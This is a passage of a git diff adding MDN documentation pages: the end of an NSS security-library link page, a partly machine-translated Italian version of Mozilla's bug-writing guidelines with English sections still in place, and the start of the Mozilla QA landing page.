+      <b>Archived version.</b> Links to performance reports for NSS 3.2 and later releases.</dd>
+     <dt>
+      <a href="http://www-archive.mozilla.org/projects/security/pki/nss/nss-3.11/nss-3.11-algorithms.html">Encryption Technologies Available in NSS 3.11</a></dt>
+     <dd>
+      <b>Archived version.</b> Lists the cryptographic algorithms used by NSS 3.11.</dd>
+     <dt>
+      <a href="http://www-archive.mozilla.org/projects/security/pki/nss/loadable_certs.html">NSS 3.1 Loadable Root Certificates</a></dt>
+     <dd>
+      <b>Archived version.</b> Describes the scheme for loading root CA certificates.</dd>
+     <dt>
+      <a href="http://www-archive.mozilla.org/projects/security/pki/nss/db_formats.html">cert7.db</a></dt>
+     <dd>
+      <b>Archived version.</b> General format of the cert7.db database.</dd>
+    </dl>
+    <h3 id="PKCS_11_information">PKCS #11 information</h3>
+    <ul>
+     <li><a href="/en-US/docs/PKCS11" title="PKCS11">Documentation on PKCS #11 modules</a></li>
+     <li><a href="/en-US/docs/PKCS11_Implement">Implementing PKCS #11 for NSS</a></li>
+     <li><a href="/en-US/docs/PKCS11_Module_Specs" title="PKCS11_Module_Specs">The strings NSS uses to load PKCS #11 modules</a></li>
+     <li><a href="/en-US/docs/PKCS11_FAQ">PKCS #11 FAQ</a></li>
+     <li><a href="/en-US/docs/PKCS11_Jar_Install">Using the JAR Installation Manager to Install a PKCS #11 Cryptographic Module</a></li>
+     <li><a href="http://www-archive.mozilla.org/projects/security/pki/pkcs11/">PKCS #11 Conformance Testing - Archived version</a></li>
+    </ul>
+    <dl>
+    </dl>
+    <h3 id="CA_certificates_pre-loaded_into_NSS">CA certificates pre-loaded into NSS</h3>
+    <ul>
+     <li><a href="http://www.mozilla.org/projects/security/certs/policy/">Mozilla CA certificate policy</a></li>
+     <li><a href="http://www.mozilla.org/projects/security/certs/included/">List of pre-loaded CA certificates</a>
+      <ul>
+       <li>Consumers of this list must consider the trust bit setting for each included root certificate. <a href="https://www.imperialviolet.org/2012/01/30/mozillaroots.html">More Information</a>, <a href="https://github.com/agl/extract-nss-root-certs">Extracting roots and their trust bits</a></li>
+      </ul>
+     </li>
+    </ul>
+    <dl>
+    </dl>
+    <h3 id="NSS_is_built_on_top_of_Netscape_Portable_Runtime_(NSPR)">NSS is built on top of Netscape Portable Runtime (NSPR)</h3>
+    <dl>
+     <dt>
+      <a href="NSPR">Netscape Portable Runtime</a></dt>
+     <dd>
+      NSPR project page.</dd>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Projects/NSPR/Reference">NSPR Reference</a></dt>
+     <dd>
+      NSPR API documentation.</dd>
+    </dl>
+    <h3 id="Additional_Information">Additional Information</h3>
+    <ul>
+     <li><a href="/en-US/docs/JavaScript_crypto" title="JavaScript_crypto">Using the window.crypto object from JavaScript</a></li>
+     <li><a href="/en-US/docs/HTTP_Delegation" title="HTTP_Delegation">Delegation of HTTP download for OCSP</a></li>
+     <li><a href="/en-US/docs/TLS_Cipher_Suite_Discovery" title="TLS_Cipher_Suite_Discovery">TLS Cipher Suite Discovery</a></li>
+     <li><a href="/en-US/docs/NSS_Certificate_Download_Specification" title="NSS_Certificate_Download_Specification">NSS Certificate Download Specification</a></li>
+     <li><a href="/en-US/docs/NSS/FIPS_Mode_-_an_explanation" title="FIPS Mode - an explanation">FIPS Mode - an explanation</a></li>
+     <li><a href="/en-US/docs/NSS_Key_Log_Format" title="NSS Key Log Format">Format of key log files</a></li>
+     <li>View <a href="/en-US/docs/tag/NSS" title="/en-US/docs/tag/NSS">all NSS-related articles on MDN</a></li>
+    </ul>
+    <h3 id="Testing">Testing</h3>
+    <ul>
+     <li><a href="/en-US/docs/Testing_third-party_PKCS#11_modules.2Ftokens_with_NSS" title="Testing_third-party_PKCS#11_modules.2Ftokens_with_NSS">Testing third-party PKCS #11 modules/tokens with NSS</a></li>
+    </ul>
+    <h3 id="Planning">Planning</h3>
+    <p>Information on NSS planning can be found at <a class="external" href="http://wiki.mozilla.org/NSS">wiki.mozilla.org</a>, including:</p>
+    <ul>
+     <li><a class="external" href="http://wiki.mozilla.org/FIPS_Validation">FIPS Validation</a></li>
+     <li><a class="external" href="http://wiki.mozilla.org/NSS:Roadmap">NSS Roadmap page</a></li>
+     <li><a href="https://fedoraproject.org/wiki/User:Mitr/NSS:DeveloperFriendliness" title="https://fedoraproject.org/wiki/User:Mitr/NSS:DeveloperFriendliness">NSS Improvement Project</a></li>
+    </ul>
+   </td>
+   <td>
+    <h2 class="Community" id="Community" name="Community">Community</h2>
+    <ul>
+     <li>View Mozilla Security forums...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-security", "mozilla.dev.security") }}</p>
+    <ul>
+     <li>View Mozilla Cryptography forums...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-tech-crypto", "mozilla.dev.tech.crypto") }}</p>
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+    <ul>
+     <li><a href="/en-US/docs/Security" title="Security">Security</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/it/mozilla/qa/bug_writing_lineeguida/index.html b/files/it/mozilla/qa/bug_writing_lineeguida/index.html
new file mode 100644
index 0000000000..31eca62c6d
--- /dev/null
+++ b/files/it/mozilla/qa/bug_writing_lineeguida/index.html
@@ -0,0 +1,253 @@
+---
+title: Linee guida per la segnalazione dei Bug
+slug: Mozilla/QA/Bug_writing_lineeguida
+translation_of: Mozilla/QA/Bug_writing_guidelines
+---
+<div class="note">
+<p><strong>Se avete bisogno di aiuto con i software Mozilla (per esempio con Firefox, Seamonkey o Thunderbird), usate una delle <a href="http://www.mozilla.org/support/">support options</a> disponibili.</strong> Non modifcate questa pagina!</p>
+</div>
+
+<p><span class="seoSummary">Questa pagina da per scontato che vogliate contribuire al progetto Mozilla raccogliendo abbastanza informazioni per poter caricare un bug report utile, nel sistema di bug tracking di Mozilla.</span> Grazie!</p>
+
+<p>Se siete nuovi nella segnalazione dei bug, potreste voler provare ad ottenere aiuto da i contributori di maggior esperienza. Controllate la sezione Community nella pagina  <a href="/en-US/docs/QA">QA</a> (Question and Answers - Domande e risposte) per avere indicazioni. Se vi accingete a segnalare un bug  Firefox, potete anche ottenere assistenza nel canale <span style="font-family: monospace;">#firefox</span> su <a href="irc://irc.mozilla.org/firefox">irc.mozilla.org</a>. Per altri progetti (es., Thunderbird, SeaMonkey) potete trovare  il canale appropriato su <a href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+
+<h2 id="Come_segnalare_un_bug">Come segnalare un bug</h2>
+
+<h3 id="Aprite_un_nuovo_bug_report_per_ogni_problema!">Aprite un nuovo bug report per ogni problema!</h3>
+
+<p>Così verrà completato un flusso di correzione bug (bugfix) efficace per ogni  problema.</p>
+
+<h3 id="Altri_dettagli_cui_prestare_attenzione">Altri dettagli cui prestare attenzione</h3>
+
+<ol>
+ <li>Descrivere i <strong>passi per riprodurre il bug</strong>:
+
+  <ul>
+   <li>Se avete <a href="#Writing_precise_steps_to_reproduce">precisi passi per riprodurre </a>— ottimo! — siete sulla buona strada per segnalare un bug report utile.</li>
+   <li>Se riuscite a riprodurre occasionalmente, ma non a seguito di specifici passi, dovete  fornire <a href="#specific-types">ulteriori informazioni</a> perchè il bug report sia utile.</li>
+   <li>Se non riuscite a riprodurre il problema, probabilmente non è utile riportarlo, a meno che non riusciate a fornire informazioni univoche circa il suo verificarsi.</li>
+  </ul>
+ </li>
+ <li>assicuratevi che il vs software sia aggiornato. L'ideale sarebbe, testare il problema conuna versione in fase di sviluppo per vedere se il bug è stato già corretto (e.g. <a href="http://www.mozilla.com/en-US/firefox/channel/">Firefox Beta, Aurora</a>, o l'avanzatissima <a class="link-https" href="https://nightly.mozilla.org/">Nightly</a>).</li>
+ <li>Quando riportate un bug di Firefox, prima verificate se potete riprodurlo in un <a href="https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles">nuovo profilo Firefox</a>. Se il bug si verifica solo nel vostro profilo esistente, provate a identificare quali <a href="https://support.mozilla.org/en-US/kb/troubleshoot-extensions-themes-to-fix-problems">settings, extensions</a>, o <a href="https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data">files nel vostro profilo</a> sono necessari per riprodurre il bug.
+  <ul>
+   <li>Se il bug sembra "eclatante" (cioè ovviamente che affligge una larga porzione di utenti), <span id="result_box" lang="it"><span title="If the bug seems egregious (i.e. obviously affecting a large portion of users), there's probably something unusual about your setup that's a necessary part of the steps to reproduce the bug."> probabilmente c'è qualcosa di insolito nella configurazione che è una parte necessaria dei passaggi per riprodurre il bug. </span><span title="You have much better chances of figuring it out than a developer who does not have access to your system.
+    ">Hai molte più possibilità di capirlo rispetto a uno sviluppatore che non ha accesso al tuo sistema.</span></span></li>
+   <li><span lang="it"><span title="If the bug falls into one of specific types of bugs listed in a section below, it may still be useful even if you can't reproduce it in a new Firefox profile.
+
+">Se il bug rientra in uno dei<a href="https://developer.mozilla.org/en-US/docs/Mozilla/QA/Bug_writing_guidelines$translate?tolocale=it#specific-types"> tipi specifici di bug elencati in una sezione sottostante</a>, potrebbe comunque essere utile anche se non potete riprodurlo in un nuovo profilo Firefox.</span></span><br>
+     </li>
+  </ul>
+ </li>
+ <li><span lang="it"><span title="Open the Enter a new bug form, which will guide you through most of the bug reporting process:
+
+    ">Apri il modulo <a href="https://bugzilla.mozilla.org/enter_bug.cgi?format=guided">Inserisci un nuovo bug</a> </span></span> (<a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?format=guided">Enter a new bug</a><span lang="it"><span title="Open the Enter a new bug form, which will guide you through most of the bug reporting process:
+
+    ">) che ti guiderà nella maggior parte del processo di segnalazione dei bug:</span></span>
+  <ul>
+   <li><span lang="it"><span title="Create a Bugzilla account if you don't have one already, select the product having the bug.
+    ">Crea un account Bugzilla se non ne hai già uno, seleziona il prodotto con il bug.</span></span></li>
+   <li><span lang="it"><span title="Enter a clear unique summary as described below;">Inserite un <strong>riassunto univoco chiaro</strong> (</span></span><strong>clear unique summary</strong>) come <a href="https://developer.mozilla.org/en-US/docs/Mozilla/QA/Bug_writing_guidelines$translate?tolocale=it#Writing_a_clear_summary">descritto nel seguito</a><span lang="it"><span title="Enter a clear unique summary as described below;">; </span><span title="check if the bug has already been reported (if you want to be more thorough, there's an advanced guide on screening duplicate bugs).
+    ">controlla se il bug è già stato segnalato (se vuoi essere più completo, c'è una guida avanzata sullo</span></span> <a href="https://developer.mozilla.org/en-US/docs/Screening_duplicate_bugs">screening dei bug duplicati</a><span lang="it"><span title="check if the bug has already been reported (if you want to be more thorough, there's an advanced guide on screening duplicate bugs).
+    ">).</span></span></li>
+   <li><span lang="it"><span title="Provide precise steps to reproduce, expected results and actual results as described in the following section.
+    ">Fornite <strong>passaggi precisi per riprodurre, risultati attesi</strong> e <strong>risultati effettivi</strong> come <a href="https://developer.mozilla.org/en-US/docs/Mozilla/QA/Bug_writing_guidelines$translate?tolocale=it#Writing_precise_steps_to_reproduce">descritto nella sezione seguente</a>.</span></span></li>
+   <li><span lang="it"><span title="Provide additional information (also described below), especially if you can't reproduce the bug in a new profile;">Fornite ulteriori informazioni (anche<a href="https://developer.mozilla.org/en-US/docs/Mozilla/QA/Bug_writing_guidelines$translate?tolocale=it#Providing_additional_information"> descritte di seguito</a>), soprattutto se non è possibile riprodurre il bug in un nuovo profilo; </span><span title="and/or by reporting a crash, memory usage, performance, regression bug;">e / o segnalando<strong> crash, utilizzo della memoria, prestazioni, bug di regressione</strong>; </span><span title="or if the problem is with a specific web site.
+
+">o se il problema è con un sito web specifico.</span></span></li>
+  </ul>
+ </li>
+ <li><span lang="it"><span title="If you have multiple issues, please file separate bug reports.">In caso di problemi multipli, si prega di presentare segnalazioni di bug separate.</span></span></li>
+</ol>
+
+<h2 id="Scrivere_un_riassunto_chiaro">Scrivere un riassunto chiaro</h2>
+
+<p>Come descrivereste il bug usando approssimativamente 10 parole? Questa è la prima parte del vostro bug report che un<span class="short_text" id="result_box" lang="it"><span> triager o uno sviluppatore vedrà.</span></span></p>
+
+<p>Un buon riassunto deve identificare il bug report in maniera rapida e chiara. Esso deve spiegare il problema, non suggerire la soluzione.</p>
+
+<ul>
+ <li>Bene: " <span class="short_text" id="result_box" lang="it"><span>L'annullamento di una finestra di dialogo Copia file provoca l'arresto anomalo di File Manager</span></span> "</li>
+ <li>Male: "Il Software va in crash"</li>
+</ul>
+
+<ul>
+ <li><span id="result_box" lang="it"><span>Bene: "Lo scorrimento della freccia giù non funziona in &lt;textarea&gt; in stile con overflow: nascosto"</span></span></li>
+ <li><span lang="it"><span>Male: "Il browser dovrebbe funzionare con il mio sito web"</span></span></li>
+</ul>
+
+<h2 id="Scrivere_passi_precisi_per_riprodurre">Scrivere passi precisi per riprodurre</h2>
+
+<p><span id="result_box" lang="it"><span>Come può uno sviluppatore riprodurre il bug sul proprio computer?</span><br>
+ <br>
+ <span>I passaggi per la riproduzione sono la parte più importante di qualsiasi segnalazione di bug.</span> <span>Se uno sviluppatore è in grado di riprodurre il bug, è molto probabile che il bug sia corretto.</span> <span>Se i passaggi non sono chiari, potrebbe non essere nemmeno possibile sapere se il bug è stato corretto.</span></span></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Cosa includere in un bug report?</th>
+   <th>Bene (preciso) esempio</th>
+   <th>
+    <p>Cattivo (inpreciso)</p>
+   </th>
+  </tr>
+  <tr>
+   <td><span id="result_box" lang="it"><span>Indicare se è possibile riprodurre il bug a volontà, occasionalmente o per niente.</span></span></td>
+   <td>Posso riprodurlo eseguendo i passi seguenti:</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>
+    <p><span id="result_box" lang="it"><span>Descrivi il tuo metodo di interazione con Firefox oltre all'intento di ogni passaggio.</span></span></p>
+   </td>
+   <td>
+    <p><span id="result_box" lang="it"><span>1. Avvia Firefox facendo clic sull'icona del desktop</span><br>
+     <span>2. Premere Cmd + N (o Ctrl + N per utenti Windows) per aprire una nuova finestra del browser</span><br>
+     <span>3. Incolla </span></span><a class="link-https" href="https://mail.google.com/" rel="freelink">https://mail.google.com/</a> nella barra degli indirizzi e premere Invio</p>
+   </td>
+   <td>Apri Gmail in un'altra finestra</td>
+  </tr>
+  <tr>
+   <td>
+    <p><span id="result_box" lang="it"><span>Dopo i passaggi, descrivere con precisione il <strong>risultato</strong> (<strong>effettivo) osservato</strong> e il <strong>risultato atteso</strong>.</span> <span>Separare chiaramente i fatti (osservazioni) dalle speculazioni.</span></span></p>
+   </td>
+   <td><span id="result_box" lang="it"><span><strong>Risultati previsti</strong>: la mia Posta in arrivo viene visualizzata correttamente.</span><br>
+    <span><strong>Risultati effettivi</strong>: nella mia Posta in arrivo viene visualizzato il messaggio "Il browser non supporta i cookie (errore -91)".</span></span></td>
+   <td>
+    <p>"Non funziona"</p>
+
+    <p>"La pagina è mostrata non correttamente"</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Providing_additional_information">Providing additional information</h2>
+
+<p>The following information is requested for most bug reports. You can save time by providing this information below the Expected results. If you need to attach multiple files, you can do so after submitting the report.</p>
+
+<h3 id="For_specific_types_of_bugs"><a name="specific-types">For specific types of bugs</a></h3>
+
+<p>If you are reporting a <strong>crash bug</strong>, please <a href="/en-US/docs/How_to_get_a_stacktrace_for_a_bug_report">include a Breakpad ID or attach stack trace</a>, and include the crash signature in the bug summary as well as in the <strong>Crash Signature</strong> field.</p>
+
+<p>If you are reporting a <strong>memory use or leak bug</strong>, please <a href="/en-US/docs/Mozilla/Performance/about:memory">attach the output of about:memory</a>. Ideally, find steps to reproduce an increase in what is shown in about:memory (even after clicking the "Minimize memory usage" button at the bottom). If you have trouble finding steps to reproduce, try the Firefox Support page titled <a href="https://support.mozilla.org/en-US/kb/firefox-uses-too-much-memory-ram">Firefox Uses Too Much Memory (Ram) - How to Fix</a>. If you are a C++ developer, <a class="link-https" href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance">more precise tools are available</a>.</p>
+
+<p>If you are reporting a <strong>bug about slowness or high CPU usage</strong>, please <a href="/en-US/docs/Mozilla/Performance/Reporting_a_Performance_Problem">provide a link to the performance profile in the bug</a>.</p>
+
+<p>If you are reporting a <strong>hang</strong> (beachball on OS X or "not responding" on Windows), please follow the instructions in <a href="/en-US/docs/How_to_Report_a_Hung_Firefox">How to Report a Hung Firefox</a>.</p>
+
+<p>If you are reporting a bug involving a <strong>Flash hang</strong>, please visit <a href="https://wiki.mozilla.org/Flash/Hang_Debugging">https://wiki.mozilla.org/Flash/Hang_Debugging</a> to learn how to provide useful information for developers.</p>
+
+<p>If you are reporting a <strong>bug involving a specific web page</strong>, please try to make a <a href="/en-US/docs/Reducing_testcases">reduced testcase</a> and attach it to the bug report. If you don't have time or expertise, please report the issue to <a href="https://webcompat.com/">webcompat.com</a> instead, where our volunteers will do this for you.</p>
+
+<p>If the bug was <strong>recently introduced</strong>, finding a <a href="http://mozilla.github.io/mozregression/quickstart.html">regression window</a> can help identify the cause of the bug.</p>
+
+<p><a href="http://www.chiark.greenend.org.uk/~sgtatham/bugs.html#intermittent">What if my bug seems "random" or "intermittent"?</a></p>
+
+<h3 id="For_most_Firefox_bugs">For most Firefox bugs</h3>
+
+<p>You should provide the following information for most Firefox bugs.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>What should you include in a bug report?</th>
+   <th>Example</th>
+  </tr>
+  <tr>
+   <td>Indicate if the problem can be reproduced using a <a href="https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles">new Firefox profile</a> and any changes you need to make in order to reproduce.</td>
+   <td>The problem can be reproduced in a new profile, but only if Preferences -&gt; Privacy &amp; Security -&gt; Tracking Protection is selected.</td>
+  </tr>
+  <tr>
+   <td>If you can only reproduce with an existing profile try to figure out what <a href="https://support.mozilla.org/en-US/kb/troubleshoot-extensions-themes-to-fix-problems">settings, extensions</a>, or <a href="https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data">files in your profile</a> are needed to reproduce the bug. If you skip the step, <a href="https://support.mozilla.org/en-US/kb/use-troubleshooting-information-page-fix-firefox">save the troubleshooting information from about:support</a> to a file and attach it to the bug report.</td>
+   <td>I can't reproduce in a new profile, about:support information from the offending profile is attached.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Indicate if the problem can be reproduced using the <a href="https://nightly.mozilla.org/">latest Nightly build</a>. Include the <strong>Build ID</strong> from <a href="https://support.mozilla.org/en-US/kb/use-troubleshooting-information-page-fix-firefox">about:support</a>.</p>
+
+    <p>If possible, test using the new Firefox profile you created. If you need to test the Nightly build with your regular profile, you might want to <a href="https://support.mozilla.org/en-US/kb/back-and-restore-information-firefox-profiles">back up the profile</a> first, since the pre-release build may corrupt your data.</p>
+   </td>
+   <td>The problem can be reproduced on the latest Nightly (Build ID 20170416100136).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<div class="originaldocinfo">
+<h2 id="Original_document_information">Original document information</h2>
+
+<ul>
+ <li>Author(s): Jesse Ruderman, Gervase Markham</li>
+ <li>Other Contributors: Eli Goldberg, Claudius Gayle, Jan Leger, Felix Miata, Peter Mock, Chris Pratt, Chris Yeh, and others.</li>
+</ul>
+</div>
+
+<p> </p>
+
+<hr>
+<h2 id="Advanced">Advanced</h2>
+
+<h3 id="Finding_the_correct_product_and_component" name="Finding_the_correct_product_and_component"><strong style="font-weight: bold;">Finding the correct product and component</strong></h3>
+
+<p>You will be asked to categorize your bug into a "product" and a "component" within that product, in order to direct your report to the correct developers.</p>
+
+<p>If you're using Firefox, the bug is most likely in "Firefox", "Toolkit", or "Core".</p>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Firefox">List of components in the "Firefox" product</a> - Most parts of Firefox that you interact with directly</li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Toolkit">List of components in the "Toolkit" product</a> - Interface widgets and some frontend features</li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Core">List of components in the "Core" product</a> - Web page rendering, networking, etc.</li>
+</ul>
+
+<p>When in doubt, search for similar bugs and see which component they are in.</p>
+
+<p>If none of the components seem appropriate, look for a "General" component in the most appropriate product.</p>
+
+<h3 id="General_Outline_of_a_Bug_Report">General Outline of a Bug Report</h3>
+
+<div class="note">
+<p>Most of the following article has been merged into this page from QMO: How to write a proper bug</p>
+</div>
+
+<ul>
+ <li><strong>Summary</strong>: How would you describe the bug in less than 60 characters? It should quickly and uniquely identify a bug report as well as explain the problem, not your suggested solution. Good: "Canceling a File Copy dialog crashes File Manager" Bad: "Software crashes" Bad: "Browser should work with my web site"</li>
+ <li><strong>Component</strong>: In which sub-part of the software does it exist? This field is a requirement to submit any bug report. Click the word "Component" to see a description of each component. If none seems appropriate, highlight the "General" component.</li>
+ <li><a name="version"> </a><strong>Version</strong>: select the earliest Version with what the problem can be reproduced:
+  <ul>
+   <li>Developers will use that information to narrow down the commit what introduced a regression</li>
+   <li>QA staff needs that information to distinguish bugs with similar symptoms, but different roots.
+    <ul>
+     <li>Bugs that definitively appeared in different <em>Product</em> <em>Versions</em> probably will have different roots</li>
+     <li>But Bugs that started with the same <em>Product</em> <em>Version</em> probably are DUPLICATEs</li>
+    </ul>
+   </li>
+   <li><em>Trunk</em> does not allow any useful query. We have <em>Trunk</em> version bugs from beginning of the project until today, no common characteristics at all what can be tagged with this version. Avoid Trunk, replace it by precise information with what version the problem appeared if you can.</li>
+  </ul>
+ </li>
+ <li><strong>OS</strong>: On which operating system (OS) did you find it? (E.g. Linux, Windows, and Mac.) Example: "<em>If you know the bug happens on more than one type of operating system, choose "All". If your OS isn't listed, choose Other".</em></li>
+ <li><strong>Description</strong>: The details of your problem report, including:
+  <ul>
+   <li><u>Overview</u>: This is a larger detailed restatement of the summary. An example would be: <em>"Drag-selecting any page crashes Mac builds in the NSGetFactory function"</em>.</li>
+   <li><u>Build Id</u>: To find this either go to the "about:support" page via the location bar or, if you have MozQA's <a href="https://addons.mozilla.org/en-US/firefox/addon/nightly-tester-tools/">Nightly Tester Tools</a> extension, then go to Tools | Nightly Tester Tools and select the option that contains the output of the build Id. It should look something like this: <em>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 ID:20150330004006 CSet: 9e57e9776571"</em>.</li>
+   <li><u>Additional Builds and Platforms</u>: Whether or not the bug takes place on other platforms (or browsers, if applicable). It should look something like this: <em>"Doesn't Occur On Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 ID:20150330004006 CSet: 9e57e9776571"</em>.</li>
+  </ul>
+ </li>
+ <li><strong>Steps to Reproduce</strong>: Minimized, easy-to-follow steps that will trigger the bug. If they're necessary, make sure to include any special setup steps. A good example of this would look like the following:<br>
+  1) View any web page. (I used the default sample page, http://www.google.com/).<br>
+  2) Drag-select the page. Specifically, while holding down the mouse button, drag the mouse pointer downwards from any point in the browser's content region to the bottom of the browser's content region.</li>
+ <li><strong>Actual Results</strong>: What the application did after performing the above steps. An example would be: <em>The application crashed.</em></li>
+ <li><strong>Expected Results</strong>: What the application should have done, were the bug not present. An example would be: <em>The window should scroll downwards. Scrolled content should be selected. Or, at least, the application should not crash.</em></li>
+</ul>
+
+<p> </p>
+
+<div class="originaldocinfo">
+<h4 id="Original_document_information_2">Original document information</h4>
+
+<ul>
+ <li>Author(s): Aakash Desai</li>
+ <li>Date last modified: June 3, 2013 at 2:41 am PST</li>
+</ul>
+</div>
diff --git a/files/it/mozilla/qa/index.html b/files/it/mozilla/qa/index.html
new file mode 100644
index 0000000000..99a8a38dd2
--- /dev/null
+++ b/files/it/mozilla/qa/index.html
@@ -0,0 +1,251 @@
+---
+title: 'QA: Quality assurance at Mozilla'
+slug: Mozilla/QA
+tags:
+  - Landing
+  - NeedsTranslation
+  - QA
+  - Testing
+  - TopicStub
+translation_of: Mozilla/QA
+---
+<p>The Mozilla Quality Assurance (QA) team drives software quality assurance activities across Mozilla and plays a key role in releasing a diverse range of software products on schedule. Within each project in Mozilla, we work to explore new features, write and execute tests, uncover and file bugs, build and maintain tools, collect and analyze metrics, and support the release world-class products that promote the open Web.</p>
+
+<p><span class="seoSummary">Here you'll find articles and tools to help you gear up to join the QA team testing Firefox to ensure that each release is as good as it can be.</span></p>
+
+<h2 id="Get_started">Get started</h2>
+
+<ul class="card-grid">
+ <li><span>How can I help test?</span>
+
+  <p>There are lots of ways for you to become a <a href="/en-US/docs/Mozilla/QA/How_can_I_help_test_">community contributor</a> to the Mozilla quality team.</p>
+ </li>
+ <li><span>Bugs</span>
+  <p>All Mozilla projects use <a href="https://bugzilla.mozilla.org/">Bugzilla</a> to track bugs. Learn how to <a href="/en-US/docs/Mozilla/QA/Bug_writing_guidelines" title="/en-US/docs/Mozilla/QA/Bug_writing_guidelines">report a bug</a> and get familiar with <a href="/en-US/docs/What_to_do_and_what_not_to_do_in_Bugzilla">what to do in Bugzilla</a>.</p>
+ </li>
+ <li><span>Events</span>
+  <p>Get involved in our weekly <a href="/en-US/docs/Mozilla/QA/Bug_Verification_Day">Bug Verification Day</a> or <a href="/en-US/docs/Mozilla/QA/Bug_Triage_Day">Bug Triage Day</a>. You may even <a href="/en-US/docs/Mozilla/QA/Organizing_a_Testday">organize a testday</a> for your local community!</p>
+ </li>
+ <li><span>IRC</span>
+  <p><a href="/en-US/docs/Mozilla/QA/Getting_Started_with_IRC">Get started with IRC</a>, the primary form of communication for members of the Mozilla community.</p>
+ </li>
+</ul>
+
+<h2 id="Bugs">Bugs</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<h3 id="Reporting_bugs">Reporting bugs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Bugzilla">Bugzilla</a></dt>
+ <dd>All Mozilla projects use <a href="https://bugzilla.mozilla.org/">Bugzilla</a> to track bugs. You will need to <a href="https://bugzilla.mozilla.org/createaccount.cgi">create an account with Bugzilla</a> in order to report bugs and triage them.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Bug_writing_guidelines" title="/en-US/docs/Mozilla/QA/Bug_writing_guidelines">Bug writing guidelines</a></dt>
+ <dd>The more effectively a bug is reported, the more likely that an engineer will actually fix it. By following these guidelines, you can help ensure that your bugs stay at the top of the Mozilla engineers' heap, and get fixed.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/A_Bugs_Life" title="/en-US/docs/Mozilla/QA/A_Bugs_Life">A Bug's Life</a></dt>
+ <dd>This tutorial will give an overview of what happens in the states that a bug will go through as well as how it will go from one to the next within its total life. It also explains the meaning of flags/keywords used in QA.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Filing_Crash_Bugs">Filing Crash Bugs</a></dt>
+ <dd>This document lists guidelines and tips on how to file bug reports for crashes in a way that helps in debugging and fixing the reported issue.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h3 id="Triaging_bugs">Triaging bugs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Confirming_unconfirmed_bugs" title="en-US/docs/Confirming unconfirmed bugs">Confirming unconfirmed bugs</a></dt>
+ <dd>Identify useful bug reports and close the rest.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Triaging_Bugs_for_Firefox" title="/en-US/docs/Mozilla/QA/Triaging_Bugs_for_Firefox">Triaging Bugs for Firefox</a></dt>
+ <dd>Information about the entire bug triaging process – from processing incoming bugs to narrowing down the steps to reproducing bugs.</dd>
+ <dt><a href="/en-US/docs/Screening_duplicate_bugs">Screening duplicate bugs</a></dt>
+ <dd>Help get bugs fixed faster by screening incoming reports for duplicates.</dd>
+ <dt><a href="/en-US/docs/What_to_do_and_what_not_to_do_in_Bugzilla">General Guidelines</a></dt>
+ <dd>What to do and what not to do in Bugzilla.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Manual_testing">Manual testing</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Test_Case_Writing_Primer">Manual Test Case Writing Primer</a></dt>
+ <dd>How to write proper manual test cases</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="https://testrail.stage.mozaws.net/">TestRail</a></dt>
+ <dd>Mozilla QA's manual test cases reside in TestRail. You will need an LDAP account in order to login and execute test cases. Learn more on the <a href="https://wiki.mozilla.org/TestEngineering/Testrail">TestRail wiki page</a>.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Automated_testing">Automated testing</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Automated_testing" title="/en-US/docs/Mozilla/QA/Automated_testing">Automated testing at Mozilla</a></dt>
+ <dd>Documentation about creating and using automated tests for Mozilla code.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Running_automated_tests">Running automated tests</a></dt>
+ <dd>
+ <p>This page lists the steps required to run Mozilla's automated test suites.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Developing_tests" title="en-US/docs/Developing_Tests">Developing tests</a></dt>
+ <dd>Ensure that future changes to Mozilla don't break things that currently work correctly.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Avoiding_intermittent_oranges" title="en-US/docs/QA/Avoiding intermittent oranges">Avoiding intermittent test failures</a></dt>
+ <dd>Suggestions for ways to make your tests more reliable, thereby helping to avoid random, intermittent test failures.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Test_Verification">Test Verification</a></dt>
